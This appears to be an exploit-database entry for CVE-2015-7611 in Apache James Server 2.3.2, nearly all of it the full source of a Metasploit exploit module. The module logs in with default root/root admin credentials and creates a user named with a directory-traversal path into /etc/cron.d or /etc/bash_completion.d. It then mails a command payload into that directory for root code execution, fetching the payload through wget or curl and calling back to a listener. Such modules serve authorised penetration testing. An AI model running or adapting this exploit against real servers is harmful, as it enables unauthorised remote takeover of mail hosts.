Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write

2020.02.27
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => "Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write", 'Description' => %q{ This module exploits a vulnerability that exists due to a lack of input validation when creating a user. Messages for a given user are stored in a directory partially defined by the username. By creating a user with a directory traversal payload as the username, commands can be written to a given directory. To use this module with the cron exploitation method, run the exploit using the given payload, host, and port. After running the exploit, the payload will be executed within 60 seconds. Due to differences in how cron may run in certain Linux operating systems such as Ubuntu, it may be preferable to set the target to Bash Completion as the cron method may not work. If the target is set to Bash completion, start a listener using the given payload, host, and port before running the exploit. After running the exploit, the payload will be executed when a user logs into the system. For this exploitation method, bash completion must be enabled to gain code execution. This exploitation method will leave an Apache James mail object artifact in the /etc/bash_completion.d directory and the malicious user account. }, 'License' => MSF_LICENSE, 'Author' => [ 'Palaczynski Jakub', # Discovery 'Matthew Aberegg', # Metasploit 'Michael Burkey' # Metasploit ], 'References' => [ [ 'CVE', '2015-7611' ], [ 'EDB', '35513' ], [ 'URL', 'https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf' ] ], 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'Bash Completion', { 'ExploitPath' => 'bash_completion.d', 'ExploitPrepend' => '', 'DefaultOptions' => { 'DisablePayloadHandler' => true, 'WfsDelay' => 0 } } ], [ 'Cron', { 'ExploitPath' => 'cron.d', 'ExploitPrepend' => '* * * * * root ', 'DefaultOptions' => { 'DisablePayloadHandler' => false, 'WfsDelay' => 90 } } ] ], 'Privileged' => true, 'DisclosureDate' => "Oct 1 2015", 'DefaultTarget' => 1, 'CmdStagerFlavor'=> [ 'bourne', 'echo', 'printf', 'wget', 'curl' ] )) register_options( [ OptString.new('USERNAME', [ true, 'Root username for James remote administration tool', 'root' ]), OptString.new('PASSWORD', [ true, 'Root password for James remote administration tool', 'root' ]), OptString.new('ADMINPORT', [ true, 'Port for James remote administration tool', '4555' ]), OptString.new('POP3PORT', [false, 'Port for POP3 Apache James Service', '110' ]), Opt::RPORT(25) ]) import_target_defaults end def check # SMTP service check connect smtp_banner = sock.get_once disconnect unless smtp_banner.to_s.include? "JAMES SMTP Server" return CheckCode::Safe("Target port #{rport} is not a JAMES SMTP server") end # James Remote Administration Tool service check connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']}) admin_banner = sock.get_once disconnect unless admin_banner.to_s.include? "JAMES Remote Administration Tool" return CheckCode::Safe("Target is not JAMES Remote Administration Tool") end # Get version number version = admin_banner.scan(/JAMES Remote Administration Tool ([\d\.]+)/).flatten.first # Null check unless version return CheckCode::Detected("Could not determine JAMES Remote Administration Tool version") end # Create version objects target_version = Gem::Version.new(version) vulnerable_version = Gem::Version.new("2.3.2") # Check version number if target_version > vulnerable_version return CheckCode::Safe elsif target_version == vulnerable_version return CheckCode::Appears elsif target_version < vulnerable_version return CheckCode::Detected("Version #{version} of JAMES Remote Administration Tool may be vulnerable") end end def execute_james_admin_tool_command(cmd) username = datastore['USERNAME'] password = datastore['PASSWORD'] connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']}) sock.get_once sock.puts(username + "\n") sock.get_once sock.puts(password + "\n") sock.get_once sock.puts(cmd) sock.get_once sock.puts("quit\n") disconnect end def cleanup return unless target['ExploitPath'] == "cron.d" # Delete mail objects containing payload from cron.d username = "../../../../../../../../etc/cron.d" password = @account_password begin connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['POP3PORT']}) sock.get_once sock.puts("USER #{username}\r\n") sock.get_once sock.puts("PASS #{password}\r\n") sock.get_once sock.puts("dele 1\r\n") sock.get_once sock.puts("quit\r\n") disconnect rescue print_bad("Failed to remove payload message for user '../../../../../../../../etc/cron.d' with password '#{@account_password}'") end # Delete malicious user delete_user_command = "deluser ../../../../../../../../etc/cron.d\n" execute_james_admin_tool_command(delete_user_command) end def execute_command(cmd, opts = {}) # Create malicious user with randomized password (message objects for this user will now be stored in /etc/bash_completion.d or /etc/cron.d) exploit_path = target['ExploitPath'] @account_password = Rex::Text.rand_text_alpha(8..12) add_user_command = "adduser ../../../../../../../../etc/#{exploit_path} #{@account_password}\n" execute_james_admin_tool_command(add_user_command) # Send payload via SMTP payload_prepend = target['ExploitPrepend'] connect sock.puts("ehlo admin@apache.com\r\n") sock.get_once sock.puts("mail from: <'@apache.com>\r\n") sock.get_once sock.puts("rcpt to: <../../../../../../../../etc/#{exploit_path}>\r\n") sock.get_once sock.puts("data\r\n") sock.get_once sock.puts("From: admin@apache.com\r\n") sock.puts("\r\n") sock.puts("'\n") sock.puts("#{payload_prepend}#{cmd}\n") sock.puts("\r\n.\r\n") sock.get_once sock.puts("quit\r\n") sock.get_once disconnect end def execute_cmdstager_end(opts) if target['ExploitPath'] == "cron.d" print_status("Waiting for cron to execute payload...") else print_status("Payload will be triggered when someone logs onto the target") print_warning("You need to start your handler: 'handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}'") print_warning("After payload is triggered, delete the message and account of user '../../../../../../../../etc/bash_completion.d' with password '#{@account_password}' to fully clean up exploit artifacts.") end end def exploit execute_cmdstager(background: true) end end


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